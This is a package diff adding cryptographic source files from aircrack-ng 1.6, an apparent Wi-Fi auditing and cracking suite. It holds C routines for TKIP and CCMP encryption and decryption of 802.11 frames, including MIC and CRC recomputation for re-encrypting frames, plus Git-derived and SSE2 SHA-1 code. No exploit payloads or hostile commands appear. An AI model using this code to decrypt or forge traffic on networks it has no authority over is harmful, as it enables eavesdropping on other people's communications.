+	REQUIRE(h80211 != NULL);
+
+	unsigned char * TK1 = ptk + 32;
+	unsigned char K[16];
+	int z;
+
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
+	{
+		z += 2;
+	}
+	// Update the MIC in the frame...
+	// Had to mod calc_tkip_mic to skip extended IV to avoid memmoves
+	unsigned char micval[8] = {0};
+	calc_tkip_mic_skip_eiv(h80211, caplen - 12, ptk, micval);
+	unsigned char * mic_in_packet = h80211 + caplen - 12;
+	memcpy(mic_in_packet, micval, 8);
+
+	// Update the CRC in the frame before encrypting
+	uint32_t crc = (uint32_t) calc_crc(h80211 + z + 8, caplen - z - 8 - 4);
+
+	unsigned char * buf = h80211 + z + 8;
+	buf += caplen - z - 8 - 4;
+	buf[0] = (uint8_t)((crc) &0xFF);
+	buf[2] = (uint8_t)((crc >> 16) & 0xFF);
+	buf[1] = (uint8_t)((crc >> 8) & 0xFF);
+	buf[3] = (uint8_t)((crc >> 24) & 0xFF);
+
+	calc_tkip_ppk(h80211, caplen, TK1, K);
+
+	decrypt_wep(h80211 + z + 8, caplen - z - 8, K, 16);
+}
+
+int decrypt_tkip(unsigned char * h80211, int caplen, unsigned char TK1[16])
+{
+	REQUIRE(h80211 != NULL);
+
+	unsigned char K[16];
+	int z;
+
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
+	{
+		z += 2;
+	}
+
+	calc_tkip_ppk(h80211, caplen, TK1, K);
+
+	return (decrypt_wep(h80211 + z + 8, caplen - z - 8, K, 16));
+}
+
+/* CCMP (AES-CTR-MAC) decryption routine */
+
+static inline void XOR(unsigned char * dst, unsigned char * src, int len)
+{
+	REQUIRE(dst != NULL);
+	REQUIRE(src != NULL);
+
+	for (int i = 0; i < len; i++) dst[i] ^= src[i];
+}
+
+// Important documents for the implementation of encrypt_ccmp() and
+// decrypt_ccmp():
+//
+//  * RFC 3610 Counter with CBC-MAC (CCM)
+//    https://www.ietf.org/rfc/rfc3610.txt
+//
+//  * IEEE 802.11(TM)-2012
+//    http://standards.ieee.org/about/get/802/802.11.html
+//
+// Note: RFC uses the abbreviation MAC (Message Authentication Code, or
+//       value U in the RFC). It is the same as IEEE's MIC (Message
+//       Integrity Code)
+
+// encrypt_ccmp() takes an h80211 frame and encrypts it in-place using CCMP.
+// This results in a frame that is 16 bytes longer than the original, take this
+// into account when allocating h80211! encrypt() returns the new length (and
+// thus the offset where the caller needs to write the FCS).
+// caplen is the combined length of the 802.11 header and data, not the FCS!
+int encrypt_ccmp(unsigned char * h80211,
+				 int caplen,
+				 unsigned char TK1[16],
+				 unsigned char PN[6])
+{
+	REQUIRE(h80211 != NULL);
+
+	int is_a4, i, z, blocks, is_qos;
+	int data_len, last, offset;
+	unsigned char B0[16], B[16], MIC[16];
+	unsigned char AAD[32];
+	AES_KEY aes_ctx;
+
+	is_a4 = (h80211[1] & 3) == 3;
+	is_qos = (h80211[0] & 0x8C) == 0x88;
+	z = 24 + 6 * is_a4;
+	z += 2 * is_qos;
+
+	// Insert CCMP header
+	memmove(h80211 + z + 8, h80211 + z, (size_t) caplen - z);
+	h80211[z + 0] = PN[5];
+	h80211[z + 1] = PN[4];
+	h80211[z + 2] = 0x00; // Reserved -> 0
+	h80211[z + 3] = 0x20; // ExtIV=1, KeyID=0
+	h80211[z + 4] = PN[3];
+	h80211[z + 5] = PN[2];
+	h80211[z + 6] = PN[1];
+	h80211[z + 7] = PN[0];
+
+	data_len = caplen - z;
+
+	// B_0 := B0
+	B0[0] = 0x59; // Flags
+	B0[1] = 0; // Nonce := CCM Nonce: - Nonce flags
+	memcpy(B0 + 2, h80211 + 10, 6); //                     - A2
+	memcpy(B0 + 8, PN, 6); //                     - PN
+	B0[14] = (uint8_t)((data_len >> 8) & 0xFF); // l(m)
+	B0[15] = (uint8_t)(data_len & 0xFF); // l(m)
+
+	// B_1 := AAD[ 0..15]
+	// B_2 := AAD[16..31]
+	//        AAD[ 0.. 1] = l(a)
+	//        AAD[ 2..31] = a
+	memset(AAD, 0, sizeof(AAD));
+	AAD[2] = (uint8_t)(h80211[0] & 0x8F); // AAD[2..3]  = FC
+	AAD[3] = (uint8_t)(h80211[1] & 0xC7); //
+	memcpy(AAD + 4, h80211 + 4, 3 * 6); // AAD[4..21] = [A1,A2,A3]
+	AAD[22] = (uint8_t)(h80211[22] & 0x0F); // AAD[22]    = SC
+
+	if (is_a4)
+	{
+		memcpy(AAD + 24, h80211 + 24, 6); // AAD[24..29] = A4
+
+		if (is_qos)
+		{
+			AAD[30] = (uint8_t)(h80211[z - 2] & 0x0F); // AAD[30..31] = QC
+			AAD[31] = 0; //
+			B0[1] = AAD[30]; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22 + 2 + 6; // AAD[ 0.. 1] = l(a)
+		}
+		else
+		{
+			memset(&AAD[30], 0, 2); // AAD[30..31] = QC
+			B0[1] = 0; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22 + 6; // AAD[ 0.. 1] = l(a)
+		}
+	}
+	else
+	{
+		if (is_qos)
+		{
+			AAD[24] = (uint8_t)(h80211[z - 2] & 0x0F); // AAD[24..25] = QC
+			AAD[25] = 0; //
+			B0[1] = AAD[24]; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22 + 2; // AAD[ 0.. 1] = l(a)
+		}
+		else
+		{
+			memset(&AAD[24], 0, 2); // AAD[24..25] = QC
+			B0[1] = 0; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22; // AAD[ 0.. 1] = l(a)
+		}
+	}
+
+	AES_set_encrypt_key(TK1, 128, &aes_ctx);
+	AES_encrypt(B0, MIC, &aes_ctx); // X_1 := E( K, B_0 )
+	XOR(MIC, AAD, 16); // X_2 := E( K, X_1 XOR B_1 )
+	AES_encrypt(MIC, MIC, &aes_ctx); //
+	XOR(MIC, AAD + 16, 16); // X_3 := E( K, X_2 XOR B_2 )
+	AES_encrypt(MIC, MIC, &aes_ctx); //
+
+	// A_i := B0
+	//        B0[     0] = Flags
+	//        B0[ 1..13] = Nonce := CCM Nonce
+	//        B0[14..15] = i
+	B0[0] &= 0x07;
+	B0[14] = B0[15] = 0;
+	AES_encrypt(B0, B, &aes_ctx); // S_0 := E( K, A_i )
+	memcpy(h80211 + z + 8 + data_len, B, 8); //-V512
+	//      ^^^^^^^^^^^^^^^^^^^  ^
+	//      S_0[0..7]/future U   S_0
+
+	blocks = (data_len + 16 - 1) / 16;
+	last = data_len % 16;
+	offset = z + 8;
+
+	for (i = 1; i <= blocks; i++)
+	{
+		int n = (last > 0 && i == blocks) ? last : 16;
+
+		XOR(MIC, h80211 + offset, n); // X_i+3 := E( K, X_i+2 XOR B_i+2 )
+		AES_encrypt(MIC, MIC, &aes_ctx); //
+		//    (X_i+2 ^^^)(^^^ X_i+3)
+
+		// The message is encrypted by XORing the octets of message m with the
+		// first l(m) octets of the concatenation of S_1, S_2, S_3, ... .
+		B0[14] = (uint8_t)((i >> 8) & 0xFF); // A_i[14..15] = i
+		B0[15] = (uint8_t)(i & 0xFF); //
+		AES_encrypt(B0, B, &aes_ctx); // S_i := E( K, A_i )
+		XOR(h80211 + offset, B, n);
+		// [B_3, ..., B_n] := m
+
+		offset += n;
+	}
+
+// We need to free the ctx when using gcrypt to avoid memory leaks
+#ifdef USE_GCRYPT
+	gcry_cipher_close(aes_ctx);
+#endif
+
+	// T :=     X_i+3[ 0.. 7]
+	// U := T XOR S_0[ 0.. 7]
+	XOR(h80211 + offset, MIC, 8);
+
+	return (z + 8 + data_len + 8);
+}
+
+int decrypt_ccmp(unsigned char * h80211, int caplen, unsigned char TK1[16])
+{
+	REQUIRE(h80211 != NULL);
+
+	int is_a4, i, z, blocks, is_qos;
+	int data_len, last, offset;
+	unsigned char B0[16], B[16], MIC[16];
+	unsigned char PN[6], AAD[32];
+	AES_KEY aes_ctx;
+
+	is_a4 = (h80211[1] & 3) == 3;
+	is_qos = (h80211[0] & 0x8C) == 0x88;
+	z = 24 + 6 * is_a4;
+	z += 2 * is_qos;
+
+	PN[0] = h80211[z + 7];
+	PN[1] = h80211[z + 6];
+	PN[2] = h80211[z + 5];
+	PN[3] = h80211[z + 4];
+	PN[4] = h80211[z + 1];
+	PN[5] = h80211[z + 0];
+
+	data_len = caplen - z - 8 - 8;
+
+	// B_0 := B0
+	B0[0] = 0x59; // Flags
+	B0[1] = 0; // Nonce := CCM Nonce: - Nonce flags
+	memcpy(B0 + 2, h80211 + 10, 6); //                     - A2
+	memcpy(B0 + 8, PN, 6); //                     - PN
+	B0[14] = (uint8_t)((data_len >> 8) & 0xFF); // l(m)
+	B0[15] = (uint8_t)(data_len & 0xFF); // l(m)
+
+	// B_1 := AAD[ 0..15]
+	// B_2 := AAD[16..31]
+	//        AAD[ 0.. 1] = l(a)
+	//        AAD[ 2..31] = a
+	memset(AAD, 0, sizeof(AAD));
+	AAD[2] = (uint8_t)(h80211[0] & 0x8F); // AAD[2..3]  = FC
+	AAD[3] = (uint8_t)(h80211[1] & 0xC7); //
+	memcpy(AAD + 4, h80211 + 4, 3 * 6); // AAD[4..21] = [A1,A2,A3]
+	AAD[22] = (uint8_t)(h80211[22] & 0x0F); // AAD[22]    = SC
+
+	if (is_a4)
+	{
+		memcpy(AAD + 24, h80211 + 24, 6); // AAD[24..29] = A4
+
+		if (is_qos)
+		{
+			AAD[30] = (uint8_t)(h80211[z - 2] & 0x0F); // AAD[30..31] = QC
+			AAD[31] = 0; //
+			B0[1] = AAD[30]; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22 + 2 + 6; // AAD[ 0.. 1] = l(a)
+		}
+		else
+		{
+			memset(&AAD[30], 0, 2); // AAD[30..31] = QC
+			B0[1] = 0; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22 + 6; // AAD[ 0.. 1] = l(a)
+		}
+	}
+	else
+	{
+		if (is_qos)
+		{
+			AAD[24] = (uint8_t)(h80211[z - 2] & 0x0F); // AAD[24..25] = QC
+			AAD[25] = 0; //
+			B0[1] = AAD[24]; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22 + 2; // AAD[ 0.. 1] = l(a)
+		}
+		else
+		{
+			memset(&AAD[24], 0, 2); // AAD[24..25] = QC
+			B0[1] = 0; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22; // AAD[ 0.. 1] = l(a)
+		}
+	}
+
+	AES_set_encrypt_key(TK1, 128, &aes_ctx);
+	AES_encrypt(B0, MIC, &aes_ctx); // X_1 := E( K, B_0 )
+	XOR(MIC, AAD, 16); // X_2 := E( K, X_1 XOR B_1 )
+	AES_encrypt(MIC, MIC, &aes_ctx); //
+	XOR(MIC, AAD + 16, 16); // X_3 := E( K, X_2 XOR B_2 )
+	AES_encrypt(MIC, MIC, &aes_ctx); //
+
+	// A_i := B0
+	//        B0[     0] = Flags
+	//        B0[ 1..13] = Nonce := CCM Nonce
+	//        B0[14..15] = i
+	B0[0] &= 0x07;
+	B0[14] = B0[15] = 0;
+	AES_encrypt(B0, B, &aes_ctx); // S_0 := E( K, A_i )
+	XOR(h80211 + caplen - 8, B, 8); // T   := U XOR S_0[0..7]
+	//   ^^^^^^^^^^^^^^^      ^
+	//     U:=MIC -> T       S_0
+
+	blocks = (data_len + 16 - 1) / 16;
+	last = data_len % 16;
+	offset = z + 8;
+
+	for (i = 1; i <= blocks; i++)
+	{
+		int n = (last > 0 && i == blocks) ? last : 16;
+
+		B0[14] = (uint8_t)((i >> 8) & 0xFF); // A_i[14..15] = i
+		B0[15] = (uint8_t)(i & 0xFF); //
+
+		AES_encrypt(B0, B, &aes_ctx); // S_i := E( K, A_i )
+		// The message is encrypted by XORing the octets of message m with the
+		// first l(m) octets of the concatenation of S_1, S_2, S_3, ... .
+		XOR(h80211 + offset, B, n);
+		// [B_3, ..., B_n] := m
+		XOR(MIC, h80211 + offset, n); // X_i+3 := E( K, X_i+2 XOR B_i+2 )
+		AES_encrypt(MIC, MIC, &aes_ctx); //
+		//    (X_i+2 ^^^)(^^^ X_i+3)
+
+		offset += n;
+	}
+
+// We need to free the ctx when using gcrypt to avoid memory leaks
+#ifdef USE_GCRYPT
+	gcry_cipher_close(aes_ctx);
+#endif
+
+	// T := X_n[ 0.. 7]
+	// Note: Decryption is successful if calculated T is the same as the one
+	//       that was sent with the message.
+	return (memcmp(h80211 + offset, MIC, 8) == 0); //-V512
+}

aircrack-ng-1.6.tar.gz/lib/crypto/sha1-git.c Added

@@ -0,0 +1,363 @@
+#ifndef _SHA1_GIT
+/*
+ * sha1-git.c
+ *
+ * This code is based on the GIT SHA1 Implementation.
+ *
+ * Copyright (C) 2009 Linus Torvalds <torvalds@linux-foundation.org>
+ * Copyright (C) 2009 Nicolas Pitre <nico@cam.org>
+ * Copyright (C) 2009 Junio C Hamano <gitster@pobox.com>
+ * Copyright (C) 2009 Brandon Casey <drafnel@gmail.com>
+ * Copyright (C) 2010 Ramsay Jones <ramsay@ramsay1.demon.co.uk>
+ * Copyright (C) 2012 Carlos Alberto Lopez Perez <clopez@igalia.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ */
+
+/*
+ * SHA1 routine optimized to do word accesses rather than byte accesses,
+ * and to avoid unnecessary copies into the context array.
+ *
+ * This was initially based on the Mozilla SHA1 implementation, although
+ * none of the original Mozilla code remains.
+ */
+
+/* this is only to get definitions for memcpy(), ntohl() and htonl() */
+//#include "../git-compat-util.h"
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <assert.h>
+#include <stdint.h>
+#include <string.h>
+#include <arpa/inet.h>
+
+#include "aircrack-ng/crypto/sha1-git.h"
+
+#if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__))
+
+/*
+ * Force usage of rol or ror by selecting the one with the smaller constant.
+ * It _can_ generate slightly smaller code (a constant of 1 is special), but
+ * perhaps more importantly it's possibly faster on any uarch that does a
+ * rotate with a loop.
+ */
+
+#define SHA_ASM(op, x, n)                                                      \
+	({                                                                         \
+		unsigned int __res;                                                    \
+		__asm__(op " %1,%0" : "=r"(__res) : "i"(n), "0"(x));                   \
+		__res;                                                                 \
+	})
+#define SHA_ROL(x, n) SHA_ASM("rol", x, n)
+#define SHA_ROR(x, n) SHA_ASM("ror", x, n)
+
+#else
+
+#define SHA_ROT(X, l, r) (((X) << (l)) | ((X) >> (r)))
+#define SHA_ROL(X, n) SHA_ROT(X, n, 32 - (n))
+#define SHA_ROR(X, n) SHA_ROT(X, 32 - (n), n)
+
+#endif
+
+/*
+ * If you have 32 registers or more, the compiler can (and should)
+ * try to change the array[] accesses into registers. However, on
+ * machines with less than ~25 registers, that won't really work,
+ * and at least gcc will make an unholy mess of it.
+ *
+ * So to avoid that mess which just slows things down, we force
+ * the stores to memory to actually happen (we might be better off
+ * with a 'W(t)=(val);asm("":"+m" (W(t))' there instead, as
+ * suggested by Artur Skawina - that will also make gcc unable to
+ * try to do the silly "optimize away loads" part because it won't
+ * see what the value will be).
+ *
+ * Ben Herrenschmidt reports that on PPC, the C version comes close
+ * to the optimized asm with this (ie on PPC you don't want that
+ * 'volatile', since there are lots of registers).
+ *
+ * On ARM we get the best code generation by forcing a full memory barrier
+ * between each SHA_ROUND, otherwise gcc happily get wild with spilling and
+ * the stack frame size simply explode and performance goes down the drain.
+ */
+
+#if defined(__i386__) || defined(__x86_64__)
+#define setW(x, val) (*(volatile unsigned int *) &W(x) = (val))
+#elif defined(__GNUC__) && defined(__arm__)
+#define setW(x, val)                                                           \
+	do                                                                         \
+	{                                                                          \
+		W(x) = (val);                                                          \
+		__asm__("" ::: "memory");                                              \
+	} while (0)
+#else
+#define setW(x, val) (W(x) = (val))
+#endif
+
+/*
+ * Performance might be improved if the CPU architecture is OK with
+ * unaligned 32-bit loads and a fast ntohl() is available.
+ * Otherwise fall back to byte loads and shifts which is portable,
+ * and is faster on architectures with memory alignment issues.
+ */
+
+#if defined(__i386__) || defined(__x86_64__) || defined(_M_IX86)               \
+	|| defined(_M_X64) || defined(__ppc__) || defined(__ppc64__)               \
+	|| defined(__powerpc__) || defined(__powerpc64__) || defined(__s390__)     \
+	|| defined(__s390x__)
+
+#define get_be32(p) ntohl(*(unsigned int *) (p))
+#define put_be32(p, v)                                                         \
+	do                                                                         \
+	{                                                                          \
+		*(unsigned int *) (p) = htonl(v);                                      \
+	} while (0)
+
+#else
+
+#define get_be32(p)                                                            \
+	((*((unsigned char *) (p) + 0) << 24)                                      \
+	 | (*((unsigned char *) (p) + 1) << 16)                                    \
+	 | (*((unsigned char *) (p) + 2) << 8)                                     \
+	 | (*((unsigned char *) (p) + 3) << 0))
+#define put_be32(p, v)                                                         \
+	do                                                                         \
+	{                                                                          \
+		unsigned int __v = (v);                                                \
+		*((unsigned char *) (p) + 0) = __v >> 24;                              \
+		*((unsigned char *) (p) + 1) = __v >> 16;                              \
+		*((unsigned char *) (p) + 2) = __v >> 8;                               \
+		*((unsigned char *) (p) + 3) = __v >> 0;                               \
+	} while (0)
+
+#endif
+
+/* This "rolls" over the 512-bit array */
+#define W(x) (array[(x) &15])
+
+/*
+ * Where do we get the source from? The first 16 iterations get it from
+ * the input data, the next mix it from the 512-bit array.
+ */
+#define SHA_SRC(t) get_be32(data + t)
+#define SHA_MIX(t) SHA_ROL(W(t + 13) ^ W(t + 8) ^ W(t + 2) ^ W(t), 1)
+
+#define SHA_ROUND(t, input, fn, constant, A, B, C, D, E)                       \
+	do                                                                         \
+	{                                                                          \
+		unsigned int TEMP = input(t);                                          \
+		setW(t, TEMP);                                                         \
+		E += TEMP + SHA_ROL(A, 5) + (fn) + (constant);                         \
+		B = SHA_ROR(B, 2);                                                     \
+	} while (0)
+
+#define T_0_15(t, A, B, C, D, E)                                               \
+	SHA_ROUND(                                                                 \
+		t, SHA_SRC, ((((C) ^ (D)) & (B)) ^ (D)), 0x5a827999, A, B, C, D, E)
+#define T_16_19(t, A, B, C, D, E)                                              \
+	SHA_ROUND(                                                                 \
+		t, SHA_MIX, ((((C) ^ (D)) & (B)) ^ (D)), 0x5a827999, A, B, C, D, E)
+#define T_20_39(t, A, B, C, D, E)                                              \
+	SHA_ROUND(t, SHA_MIX, ((B) ^ (C) ^ (D)), 0x6ed9eba1, A, B, C, D, E)
+#define T_40_59(t, A, B, C, D, E)                                              \
+	SHA_ROUND(t,                                                               \
+			  SHA_MIX,                                                         \
+			  (((B) & (C)) + ((D) & ((B) ^ (C)))),                             \
+			  0x8f1bbcdc,                                                      \
+			  A,                                                               \
+			  B,                                                               \
+			  C,                                                               \
+			  D,                                                               \
+			  E)
+#define T_60_79(t, A, B, C, D, E)                                              \
+	SHA_ROUND(t, SHA_MIX, ((B) ^ (C) ^ (D)), 0xca62c1d6, A, B, C, D, E)
+
+static void blk_SHA1_Block(blk_SHA_CTX * ctx, const unsigned int * data)
+{
+	unsigned int A, B, C, D, E;
+	unsigned int array[16];
+
+	A = ctx->h0;
+	B = ctx->h1;
+	C = ctx->h2;
+	D = ctx->h3;
+	E = ctx->h4;
+
+	/* Round 1 - iterations 0-16 take their input from 'data' */
+	T_0_15(0, A, B, C, D, E);
+	T_0_15(1, E, A, B, C, D);
+	T_0_15(2, D, E, A, B, C);
+	T_0_15(3, C, D, E, A, B);
+	T_0_15(4, B, C, D, E, A);
+	T_0_15(5, A, B, C, D, E);
+	T_0_15(6, E, A, B, C, D);
+	T_0_15(7, D, E, A, B, C);
+	T_0_15(8, C, D, E, A, B);
+	T_0_15(9, B, C, D, E, A);
+	T_0_15(10, A, B, C, D, E);
+	T_0_15(11, E, A, B, C, D);
+	T_0_15(12, D, E, A, B, C);
+	T_0_15(13, C, D, E, A, B);
+	T_0_15(14, B, C, D, E, A);
+	T_0_15(15, A, B, C, D, E);
+
+	/* Round 1 - tail. Input from 512-bit mixing array */
+	T_16_19(16, E, A, B, C, D);
+	T_16_19(17, D, E, A, B, C);
+	T_16_19(18, C, D, E, A, B);
+	T_16_19(19, B, C, D, E, A);
+
+	/* Round 2 */
+	T_20_39(20, A, B, C, D, E);
+	T_20_39(21, E, A, B, C, D);
+	T_20_39(22, D, E, A, B, C);
+	T_20_39(23, C, D, E, A, B);
+	T_20_39(24, B, C, D, E, A);
+	T_20_39(25, A, B, C, D, E);
+	T_20_39(26, E, A, B, C, D);
+	T_20_39(27, D, E, A, B, C);
+	T_20_39(28, C, D, E, A, B);
+	T_20_39(29, B, C, D, E, A);
+	T_20_39(30, A, B, C, D, E);
+	T_20_39(31, E, A, B, C, D);
+	T_20_39(32, D, E, A, B, C);
+	T_20_39(33, C, D, E, A, B);
+	T_20_39(34, B, C, D, E, A);
+	T_20_39(35, A, B, C, D, E);
+	T_20_39(36, E, A, B, C, D);
+	T_20_39(37, D, E, A, B, C);
+	T_20_39(38, C, D, E, A, B);
+	T_20_39(39, B, C, D, E, A);
+
+	/* Round 3 */
+	T_40_59(40, A, B, C, D, E);
+	T_40_59(41, E, A, B, C, D);
+	T_40_59(42, D, E, A, B, C);
+	T_40_59(43, C, D, E, A, B);
+	T_40_59(44, B, C, D, E, A);
+	T_40_59(45, A, B, C, D, E);
+	T_40_59(46, E, A, B, C, D);
+	T_40_59(47, D, E, A, B, C);
+	T_40_59(48, C, D, E, A, B);
+	T_40_59(49, B, C, D, E, A);
+	T_40_59(50, A, B, C, D, E);
+	T_40_59(51, E, A, B, C, D);
+	T_40_59(52, D, E, A, B, C);
+	T_40_59(53, C, D, E, A, B);
+	T_40_59(54, B, C, D, E, A);
+	T_40_59(55, A, B, C, D, E);
+	T_40_59(56, E, A, B, C, D);
+	T_40_59(57, D, E, A, B, C);
+	T_40_59(58, C, D, E, A, B);
+	T_40_59(59, B, C, D, E, A);
+
+	/* Round 4 */
+	T_60_79(60, A, B, C, D, E);
+	T_60_79(61, E, A, B, C, D);
+	T_60_79(62, D, E, A, B, C);
+	T_60_79(63, C, D, E, A, B);
+	T_60_79(64, B, C, D, E, A);
+	T_60_79(65, A, B, C, D, E);
+	T_60_79(66, E, A, B, C, D);
+	T_60_79(67, D, E, A, B, C);
+	T_60_79(68, C, D, E, A, B);
+	T_60_79(69, B, C, D, E, A);
+	T_60_79(70, A, B, C, D, E);
+	T_60_79(71, E, A, B, C, D);
+	T_60_79(72, D, E, A, B, C);
+	T_60_79(73, C, D, E, A, B);
+	T_60_79(74, B, C, D, E, A);
+	T_60_79(75, A, B, C, D, E);
+	T_60_79(76, E, A, B, C, D);
+	T_60_79(77, D, E, A, B, C);
+	T_60_79(78, C, D, E, A, B);
+	T_60_79(79, B, C, D, E, A);
+
+	ctx->h0 += A;
+	ctx->h1 += B;
+	ctx->h2 += C;
+	ctx->h3 += D;
+	ctx->h4 += E;
+}
+
+void blk_SHA1_Init(blk_SHA_CTX * ctx)
+{
+	ctx->size = 0;
+
+	/* Initialize H with the magic constants (see FIPS180 for constants) */
+	ctx->h0 = 0x67452301;
+	ctx->h1 = 0xefcdab89;
+	ctx->h2 = 0x98badcfe;
+	ctx->h3 = 0x10325476;
+	ctx->h4 = 0xc3d2e1f0;
+}
+
+void blk_SHA1_Update(blk_SHA_CTX * ctx, const void * data, unsigned long len)
+{
+	unsigned int lenW = ctx->size & 63;
+
+	ctx->size += len;
+
+	/* Read the data into W and process blocks as they get full */
+	if (lenW)
+	{
+		unsigned int left = 64 - lenW;
+		if (len < left) left = len;
+		memcpy(lenW + (char *) ctx->W, data, left);
+		lenW = (lenW + left) & 63;
+		len -= left;
+		data = ((const char *) data + left);
+		if (lenW) return;
+		blk_SHA1_Block(ctx, ctx->W);
+	}
+	while (len >= 64)
+	{
+		blk_SHA1_Block(ctx, data);
+		data = ((const char *) data + 64);
+		len -= 64;
+	}
+	if (len) memcpy(ctx->W, data, len);
+}
+
+void blk_SHA1_Final(unsigned char hashout[20], blk_SHA_CTX * ctx)
+{
+	static const unsigned char pad[64] = {0x80}; //-V1009
+	unsigned int padlen[2];
+	int i;
+
+	/* Pad with a binary 1 (ie 0x80), then zeroes, then length */
+	padlen[0] = htonl((uint32_t)(ctx->size >> 29));
+	padlen[1] = htonl((uint32_t)(ctx->size << 3));
+
+	i = ctx->size & 63;
+	blk_SHA1_Update(ctx, pad, 1 + (63 & (55 - i)));
+	blk_SHA1_Update(ctx, padlen, 8);
+
+	/* Output hash */
+	assert(((uintptr_t) hashout % 4UL) == 0); // V1032 catch
+
+	put_be32(&hashout[0], ctx->h0);
+	put_be32(&hashout[4], ctx->h1);
+	put_be32(&hashout[8], ctx->h2);
+	put_be32(&hashout[12], ctx->h3);
+	put_be32(&hashout[16], ctx->h4);
+}
+#define _SHA1_GIT
+#endif

aircrack-ng-1.6.tar.gz/lib/crypto/sha1-sse2.S Added

@@ -0,0 +1,627 @@
+// Cygwin, Apple, Clang, (C) 2018 Joseph Benden (joe@benden.us)
+// SHA-1 SSE2 implementation, (C) 2008 Alvaro Salmador (naplam33@msn.com), ported from Simon Marechal's SHA-1 MMX - License: GPLv2
+// SHA-1 MMX implementation, (C) 2005 Simon Marechal (simon@banquise.net) - License: Public Domain
+
+// This code computes two (with sse now four) SHA-1 digests at the same time. It
+// doesn't take care of padding (0x80 and size << 3), so make
+// sure the last input block is properly padded. Both 64-byte
+// input blocks must be (four bytes) interleaved.
+
+//  In addition, as a special exception, the copyright holders give
+//  permission to link the code of portions of this program with the
+//  OpenSSL library under certain conditions as described in each
+//  individual source file, and distribute linked combinations
+//  including the two.
+//  You must obey the GNU General Public License in all respects
+//  for all of the code used other than OpenSSL. *  If you modify
+//  file(s) with this exception, you may extend this exception to your
+//  version of the file(s), but you are not obligated to do so. *  If you
+//  do not wish to do so, delete this exception statement from your
+//  version. *  If you delete this exception statement from all source
+//  files in the program, then also delete it here.
+
+#if defined(__x86_64__)
+#if defined(__APPLE__) || defined(__CYGWIN__)
+#define USE_PIC 1
+#else
+#undef USE_PIC
+#endif
+#else
+#undef USE_PIC
+#endif
+
+#if defined(USE_PIC)
+#define PRELOAD(x,f)
+#define MANGLE(x,f) x(%rip)
+#define INIT_PIC(f)
+#define END_PIC(f)
+#else
+#ifdef __PIC__
+
+#ifdef __x86_64__
+#define PRELOAD(x,f)  movq x@GOTPCREL(%rip), %rbx;
+#define MANGLE(x,f)   (%rbx)
+#define INIT_PIC(f)  pushq %rbx
+#define END_PIC(f)   popq  %rbx
+#else
+
+#if __APPLE__
+#define PRELOAD(x,f)  leal x-L0## f ##$pb(%ebx), %esi;
+#define MANGLE(x,f)   (%esi)
+#define INIT_PIC(x) \
+    push %ebx; \
+    call L0## x ##$pb; \
+    L0## x ##$pb:; \
+    pop %ebx;
+#define END_PIC(x)    pop %ebx
+#else
+#undef __i686 /* gcc builtin define gets in our way */
+#define PRELOAD(x,f)  
+#define MANGLE(x,f)   x ## @GOTOFF(%ebx)
+#define INIT_PIC(f) \
+	call __i686.get_pc_thunk.bx ; \
+	addl $_GLOBAL_OFFSET_TABLE_, %ebx
+#define END_PIC(f)
+#endif
+
+#endif
+
+#else
+
+#define PRELOAD(x,f)  
+#define MANGLE(x,f) x
+#define INIT_PIC(f)
+#define END_PIC(f)
+
+#endif
+#endif
+
+#if defined(__i386__) || defined(__x86_64__)
+
+.globl  shasse2_init;
+.globl  shasse2_ends;
+.globl  shasse2_data;
+.globl  shasse2_cpuid;
+
+.globl _shasse2_init;
+.globl _shasse2_ends;
+.globl _shasse2_data;
+.globl _shasse2_cpuid;
+
+.data
+#ifdef __APPLE__
+.align(12)
+#else
+.align(16)
+#endif
+const_init_a:
+.long 0x67452301
+.long 0x67452301
+.long 0x67452301
+.long 0x67452301
+const_init_b:
+.long 0xEFCDAB89
+.long 0xEFCDAB89
+.long 0xEFCDAB89
+.long 0xEFCDAB89
+const_init_c:
+.long 0x98BADCFE
+.long 0x98BADCFE
+.long 0x98BADCFE
+.long 0x98BADCFE
+const_init_d:
+.long 0x10325476
+.long 0x10325476
+.long 0x10325476
+.long 0x10325476
+const_init_e:
+.long 0xC3D2E1F0
+.long 0xC3D2E1F0
+.long 0xC3D2E1F0
+.long 0xC3D2E1F0
+const_stage0:
+.long 0x5A827999
+.long 0x5A827999
+.long 0x5A827999
+.long 0x5A827999
+const_stage1:
+.long 0x6ED9EBA1
+.long 0x6ED9EBA1
+.long 0x6ED9EBA1
+.long 0x6ED9EBA1
+const_stage2:
+.long 0x8F1BBCDC
+.long 0x8F1BBCDC
+.long 0x8F1BBCDC
+.long 0x8F1BBCDC
+const_stage3:
+.long 0xCA62C1D6
+.long 0xCA62C1D6
+.long 0xCA62C1D6
+.long 0xCA62C1D6
+const_ff00:
+.long 0xFF00FF00
+.long 0xFF00FF00
+.long 0xFF00FF00
+.long 0xFF00FF00
+const_00ff:
+.long 0x00FF00FF
+.long 0x00FF00FF
+.long 0x00FF00FF
+.long 0x00FF00FF
+
+#define ctxa %xmm0
+#define ctxb %xmm1
+#define ctxc %xmm2
+#define ctxd %xmm3
+#define ctxe %xmm4
+#define tmp1 %xmm5
+#define tmp2 %xmm6
+#define tmp3 %xmm7
+#define tmp4 ctxa
+#define tmp5 ctxb
+
